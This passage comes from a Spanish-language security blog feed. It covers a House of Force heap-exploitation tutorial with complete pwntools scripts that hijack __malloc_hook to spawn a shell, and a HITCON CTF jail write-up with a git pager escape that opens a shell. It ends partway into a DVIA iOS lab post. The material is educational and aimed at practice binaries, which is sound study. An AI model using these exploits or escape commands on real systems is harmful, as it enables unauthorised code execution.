<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"house_of_force"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">runpath</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"/libc.so.6"</span><span class="p">)</span> <span class="c1"># elf.libc broke again
</span>
<span class="n">gs</span> <span class="o">=</span> <span class="s">'''
continue
'''</span>
<span class="k">def</span> <span class="nf">start</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gs</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">process</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>

<span class="c1"># Selccion la opcion "malloc", los argumentos son el tamaño y los datos a reservar.
</span><span class="k">def</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"1"</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"size: "</span><span class="p">,</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">size</span><span class="si">}</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"data: "</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"&gt; "</span><span class="p">)</span>

<span class="c1"># Calcula la distncia entre dos direcciones.
</span><span class="k">def</span> <span class="nf">delta</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">(</span><span class="mh">0xffffffffffffffff</span> <span class="o">-</span> <span class="n">x</span><span class="p">)</span> <span class="o">+</span> <span class="n">y</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="c1"># El binario da un leak de libc de la funcion puts(), con estas lineas calculamos la direccion base de libc.
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"puts() @ "</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span>

<span class="c1"># El binario nos da la direccion base del heap.
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"heap @ "</span><span class="p">)</span>
<span class="n">heap</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"&gt; "</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">timeout</span> <span class="o">=</span> <span class="mf">0.1</span>

<span class="c1"># =============================================================================
</span>
<span class="c1"># =-=-=- EXPLOIT -=-=-=
</span>
<span class="c1"># La variable "heap" contiene el inicio del heap.
</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"heap: 0x</span><span class="si">{</span><span class="n">heap</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Los simbolos del programa se acceden mediante "elf.sym.&lt;symbol name&gt;".
</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"target: 0x</span><span class="si">{</span><span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">target</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Guardamos un bloque lleno de As
</span><span class="n">malloc</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">24</span><span class="p">)</span>

<span class="c1"># Con delta() calculamos la distancia entre heap y main.
</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"delta between heap &amp; main(): 0x</span><span class="si">{</span><span class="n">delta</span><span class="p">(</span><span class="n">heap</span><span class="p">,</span> <span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">main</span><span class="p">)</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># =============================================================================
</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Lo primero que debemos hacer es repetir la operación anterior y en la primera llamada a <code class="language-plaintext highlighter-rouge">malloc</code>, llenar un bloque y sobrescribir la cabecera del top chunk con <code class="language-plaintext highlighter-rouge">0xffffffffffffffff</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">malloc</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">24</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">))</span>
</code></pre></div></div>

<p>Ahora podremos reservar la cantidad de memoria que queramos. El siguiente paso es reservar un bloque que quede justo antes de la variable target, para ello utilizamos <code class="language-plaintext highlighter-rouge">delta</code> y reservamos otro bloque:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Tenemos que sumar 0x20 a heap para emepzar a contar a partir del primer bloque que almacenamos (desde el inicio del top chunk)
# De igual forma, restamos 0x20 a la dirección de target para quedarnos a exactamente un bloque de target
</span><span class="n">distancia</span> <span class="o">=</span> <span class="n">delta</span><span class="p">(</span><span class="n">heap</span><span class="o">+</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">target</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="n">distancia</span><span class="p">,</span> <span class="s">"A"</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Podríamos incluir target en el bloque que estamos reservando, pero tendríamos que escribir muchísimos datos hasta llegar a la zona de datos y podríamos sobrescribir algo importante.
</code></pre></div></div>

<p>Ahora mismo, si ejecutamos esto y vemos la memoria alrededor de <code class="language-plaintext highlighter-rouge">target</code> con <code class="language-plaintext highlighter-rouge">dq target-16</code>, veremos lo siguiente:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; dq target-16
0000000000602000     0000000000000000 0000000000001019
0000000000602010     0058585858585858 0000000000000000
0000000000602020     0000000000000000 0000000000000000
0000000000602030     0000000000000000 0000000000000000

pwndbg&gt; top-chunk
PREV_INUSE
Addr: 0x602000
Size: 0x1018 <span class="o">(</span>with flag bits: 0x1019<span class="o">)</span>
</code></pre></div></div>

<p>El <code class="language-plaintext highlighter-rouge">0058585858585858</code> es la variable <code class="language-plaintext highlighter-rouge">target</code> y <code class="language-plaintext highlighter-rouge">1019</code> es el top-chunk, que vemos que empieza justo antes de la variable. Por tanto, si asignamos un bloque más podremos sobrescribir la variable:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">malloc</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s">"Pwned xdd"</span><span class="p">)</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1<span class="o">)</span> malloc 3/4
2<span class="o">)</span> target
3<span class="o">)</span> quit
<span class="o">&gt;</span> <span class="nv">$ </span>2

target: Pwned xd

1<span class="o">)</span> malloc 3/4
2<span class="o">)</span> target
3<span class="o">)</span> quit
</code></pre></div></div>

<p>El script quedaría así:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"house_of_force"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">runpath</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"/libc.so.6"</span><span class="p">)</span> <span class="c1"># elf.libc broke again
</span>
<span class="n">gs</span> <span class="o">=</span> <span class="s">'''
continue
'''</span>
<span class="k">def</span> <span class="nf">start</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gs</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">process</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>

<span class="c1"># Select the "malloc" option, send size &amp; data.
</span><span class="k">def</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"1"</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"size: "</span><span class="p">,</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">size</span><span class="si">}</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"data: "</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"&gt; "</span><span class="p">)</span>

<span class="c1"># Calculate the "wraparound" distance between two addresses.
</span><span class="k">def</span> <span class="nf">delta</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">(</span><span class="mh">0xffffffffffffffff</span> <span class="o">-</span> <span class="n">x</span><span class="p">)</span> <span class="o">+</span> <span class="n">y</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="c1"># This binary leaks the address of puts(), use it to resolve the libc load address.
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"puts() @ "</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span>

<span class="c1"># This binary leaks the heap start address.
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"heap @ "</span><span class="p">)</span>
<span class="n">heap</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"&gt; "</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">timeout</span> <span class="o">=</span> <span class="mf">0.1</span>

<span class="c1"># =============================================================================
</span>
<span class="c1"># =-=-=- EXAMPLE -=-=-=
</span>
<span class="c1"># The "heap" variable holds the heap start address.
</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"heap: 0x</span><span class="si">{</span><span class="n">heap</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Program symbols are available via "elf.sym.&lt;symbol name&gt;".
</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"target: 0x</span><span class="si">{</span><span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">target</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># The malloc() function chooses option 1 from the menu.
# Its arguments are "size" and "data".
</span><span class="n">malloc</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span> <span class="sa">b</span><span class="s">"Y"</span><span class="o">*</span><span class="mi">24</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">))</span>

<span class="n">distancia</span> <span class="o">=</span> <span class="n">delta</span><span class="p">(</span><span class="n">heap</span><span class="o">+</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">target</span><span class="o">-</span><span class="mh">0x20</span><span class="p">)</span>
<span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"delta entre el top chunk y 0x20 antes de target: </span><span class="si">{</span><span class="n">distancia</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">malloc</span><span class="p">(</span><span class="n">distancia</span><span class="p">,</span> <span class="sa">b</span><span class="s">"A"</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="s">"Pwned xd"</span><span class="p">)</span>

<span class="c1"># =============================================================================
</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="ejecución-de-comandos">Ejecución de comandos</h2>

<p>Para lograr ejecución de comandos podemos abusar de una característica muy ligada al heap. Se trata de los <em>malloc hooks</em>, es decir un puntero a función en la zona de datos de la libc, que apunta directamente a la función de <code class="language-plaintext highlighter-rouge">malloc</code> (se utiliza para proporcionar una manera de utilizar una implementación personalizada de malloc).</p>

<p>Si conseguimos que esta dirección apunte a <code class="language-plaintext highlighter-rouge">system</code> (que está disponible en libc), podremos invocar una shell.</p>

<p>En este caso, deberemos calcular la distancia entre el registro <code class="language-plaintext highlighter-rouge">malloc_hook</code> y el heap:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">distancia</span> <span class="o">=</span> <span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__malloc_hook</span> <span class="o">-</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">-</span> <span class="p">(</span><span class="n">heap</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">)</span>
</code></pre></div></div>

<p>Con eso ya tendríamos el top chunk justo antes del registro, de forma que con una llamada a <code class="language-plaintext highlighter-rouge">malloc</code> podremos sobrescribirlo con la dirección de <code class="language-plaintext highlighter-rouge">system</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">malloc</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">))</span>
</code></pre></div></div>

<p>Para llamar a system bastaría con volver a llamar a <code class="language-plaintext highlighter-rouge">malloc</code>, pasándole la dirección de un cadena <code class="language-plaintext highlighter-rouge">"/bin/sh\0"</code>, para conseguir esta dirección, podemos almacenar la cadena en la primera llamada que hicimos a <code class="language-plaintext highlighter-rouge">malloc</code> y utilizar <code class="language-plaintext highlighter-rouge">heap</code> como dirección, o usar la siguiente línea:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">malloc</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh"</span><span class="p">)),</span> <span class="s">""</span><span class="p">)</span>
</code></pre></div></div>

<p>El script completo sería:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"house_of_force"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">runpath</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"/libc.so.6"</span><span class="p">)</span> <span class="c1"># elf.libc broke again
</span>
<span class="n">gs</span> <span class="o">=</span> <span class="s">'''
continue
'''</span>
<span class="k">def</span> <span class="nf">start</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gs</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">process</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>

<span class="c1"># Select the "malloc" option, send size &amp; data.
</span><span class="k">def</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"1"</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"size: "</span><span class="p">,</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">size</span><span class="si">}</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"data: "</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"&gt; "</span><span class="p">)</span>

<span class="c1"># Calculate the "wraparound" distance between two addresses.
</span><span class="k">def</span> <span class="nf">delta</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">(</span><span class="mh">0xffffffffffffffff</span> <span class="o">-</span> <span class="n">x</span><span class="p">)</span> <span class="o">+</span> <span class="n">y</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="c1"># This binary leaks the address of puts(), use it to resolve the libc load address.
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"puts() @ "</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span>

<span class="c1"># This binary leaks the heap start address.
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"heap @ "</span><span class="p">)</span>
<span class="n">heap</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"&gt; "</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">timeout</span> <span class="o">=</span> <span class="mf">0.1</span>

<span class="c1"># =============================================================================
</span>
<span class="c1"># =-=-=- EXAMPLE -=-=-=
</span>
<span class="c1"># The "heap" variable holds the heap start address.
</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"heap: 0x</span><span class="si">{</span><span class="n">heap</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Program symbols are available via "elf.sym.&lt;symbol name&gt;".
</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"target: 0x</span><span class="si">{</span><span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">target</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># The malloc() function chooses option 1 from the menu.
# Its arguments are "size" and "data".
</span><span class="n">malloc</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span> <span class="sa">b</span><span class="s">"Y"</span><span class="o">*</span><span class="mi">24</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">))</span>

<span class="n">distancia</span> <span class="o">=</span> <span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__malloc_hook</span> <span class="o">-</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">-</span> <span class="p">(</span><span class="n">heap</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">)</span>

<span class="n">malloc</span><span class="p">(</span><span class="n">distancia</span><span class="p">,</span> <span class="s">"A"</span><span class="p">)</span>

<span class="n">malloc</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">))</span>

<span class="n">malloc</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh"</span><span class="p">)),</span> <span class="s">""</span><span class="p">)</span>
<span class="c1"># =============================================================================
</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

</code></pre></div></div>]]></content><author><name>naibu3</name></author><category term="Heap" /><category term="Pwn" /><category term="Teoria" /><summary type="html"><![CDATA[Un año después de crear esta página, por fin me he decidido a subir contenido sobre explotación de Heap. Este pretende ser el primer post de una serie en la que explotaremos vulnerabilidades del temido Heap. Al final de cada post, pondré el enlace al siguiente.]]></summary></entry><entry><title type="html">Git-Playground</title><link href="http://naibu3.github.io//Git-Playground/" rel="alternate" type="text/html" title="Git-Playground" /><published>2025-08-23T00:00:00+00:00</published><updated>2025-08-23T00:00:00+00:00</updated><id>http://naibu3.github.io//Git-Playground</id><content type="html" xml:base="http://naibu3.github.io//Git-Playground/"><![CDATA[<p>Este era un ejercicio facilito de la HITCONCTF, pero creo que hay un par de conceptos interesantes sobre jails que podemos aprender.</p>

<p><br />
<img src="/images/posts/hitcon.webp" alt="Image" width="300px" /></p>

<h1 id="overview">Overview</h1>

<p>La descripción del reto era:</p>

<blockquote>
  <p>A simple git playground for you to test simple git commands.</p>

  <p>Note that everything in the sandbox are either from public releases, distro tarballs, or built from unmodified upstream source with common toolchains under normal architectures. Nothing strange and weird here.</p>
</blockquote>

<p>Si echamos un ojo al código, veremos un pequeño bucle en python que nos restringe los comandos que podemos ejecutar. Uno de los que si están disponibles es <code class="language-plaintext highlighter-rouge">git</code>.</p>

<h1 id="exploitation">Exploitation</h1>

<p>En este tipo de casos, si conseguimos abrir el <em>pager</em>, que en este caso es <em>Vi</em>, podremos ejecutar comandos escapando las restricciones. Para abrir el <em>pager</em> de <em>git</em> es tan fácil como:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git diff
</code></pre></div></div>

<p>Tras esto, podemos utilizar un comando como el siguiente para lanzar una shell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">!</span><span class="nv">PAGER</span><span class="o">=</span><span class="s1">'sh -c "exec sh 0&lt;&amp;1"'</span> git <span class="nt">-p</span> <span class="nb">help</span>
</code></pre></div></div>

<p>La flag se encuentra en una variable de entorno. Esto no me gustó, ya que estuve un rato buscando un archivo <em>flag</em>, pero tal vez se hizo para que pudiera ser resuelto sin necesida de conseguir una shell interactiva :V</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/work <span class="c"># busybox env</span>
<span class="nv">FLAG</span><span class="o">=</span>hitcon<span class="o">{</span>Bu5yb0X_34511y_cR4sH_Wh3N_bu117_w17h_C14Ng?<span class="o">}</span>
<span class="o">[</span>...]
</code></pre></div></div>

<p>Me gustó bastante el reto, y me parece algo interesate para probar en entornos de sandbox.</p>]]></content><author><name>naibu3</name></author><category term="Jail" /><category term="Writeups" /><summary type="html"><![CDATA[Este era un ejercicio facilito de la HITCONCTF, pero creo que hay un par de conceptos interesantes sobre jails que podemos aprender.]]></summary></entry><entry><title type="html">DVIA, ¿Es iOS inexplotable?</title><link href="http://naibu3.github.io//DVIA/" rel="alternate" type="text/html" title="DVIA, ¿Es iOS inexplotable?" /><published>2025-07-08T00:00:00+00:00</published><updated>2025-07-08T00:00:00+00:00</updated><id>http://naibu3.github.io//DVIA</id><content type="html" xml:base="http://naibu3.github.io//DVIA/"><![CDATA[<p>Ya estuve resolviendo los retos planteados en algunas de las aplicaciones android del <a href="https://mas.owasp.org/MASTG/apps/">OWASP MASTG</a>. Así que ahora toca explotar algo de iOS.</p>

<p><br />
<img src="/images/posts/DVIA/dvia-logo.png" alt="Image" width="300px" /></p>

<h1 id="introducción">Introducción</h1>

<p>A diferencia de Android, iOS tiene ciertas particularidades que hacen que simplemente desplegar la aplicación sea un poco más dificil. Dado que un emulador no es exactamente igual, correremos la aplicacion en un dispositivo fisico. En este caso he utilizado un iPhone 8 plus con iOS 16.7.7, aunque deberia funcionar en iOS de 8-9 en adelante.</p>

<p>La version del <a href="https://github.com/prateek147/DVIA-v2/blob/master/README.md">repo oficial</a> esta compilada para versiones anteriores de iOS. Por tanto, clone el repositorio y con ayuda de <a href="https://developer.apple.com/xcode/">xCode</a> (instalado en un Mac) compile e instale la aplicacion.</p>

<p>Cabe recalcar que para la conexion (y para instalar la aplicacion si no quieres utilizar xCode), ademas de para poder instalar las herramientas que utilizaremos para la explotacion, es conveniente aplicar <strong><em>Jailbreak</em></strong> al dispositivo. En mi caso utilice <a href="https://checkra.in/">Checkra1n</a> ya que es muy robusto, facil de usar y <em>semi-thetered</em>, es decir, que al reiniciar se deshace el jailbreak.</p>

<blockquote>
  <p>Al haber utilizado Checkra1n, el sistema de deteccion de Jailbreak no es capaz de detectarlo. Por tanto ya hemos superado el nivel de <em>Jailbreak Detection</em>.</p>
</blockquote>

<h2 id="reconocimiento-inicial">Reconocimiento inicial</h2>

<p>Previo a empezar conviene realizar un pequeño reconocimiento para extraer informacion como el identificador de la aplicacion:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frida-ps -U -a -i
 PID  Name                              Identifier                          
----  --------------------------------  ------------------------------------
[...]       
   -  DVIA-v2                           com.naibu3.DVIAswiftv2
[...]
</code></pre></div></div>

<h1 id="local-data-storage">Local Data Storage</h1>

<p>La primera vulnerabilidad que vamos a explotar es el almacenamiento inseguro de datos. En cada sub-nivel deberemos generar datos para posteriormente tratar de leerlos externamente.</p>

<h2 id="plist">Plist</h2>

<p>En este sub-nivel se nos ofrece la posibilidad de almacenar credenciales en un <em>archivo plist</em> o <em>Property List</em>. Estos archivos almacenan informacion en formato XML, y todas las aplicaciones tienen al menos un Info.plist</p>

<p><br />
<img src="/images/posts/DVIA/plists.png" alt="Image" width="300px" />
<br /></p>

<p>Podemos acceder a estos archivos en <code class="language-plaintext highlighter-rouge">/var/mobile/Containers/Data/Application/&lt;UUID&gt;/Documents</code>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>juan-manuels-iPhone:/var/mobile/Containers/Data/Application/AC6069D0-4CA4-4856-8230-4500DCDD5FA3/Documents root# cat userInfo.plist 
<span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
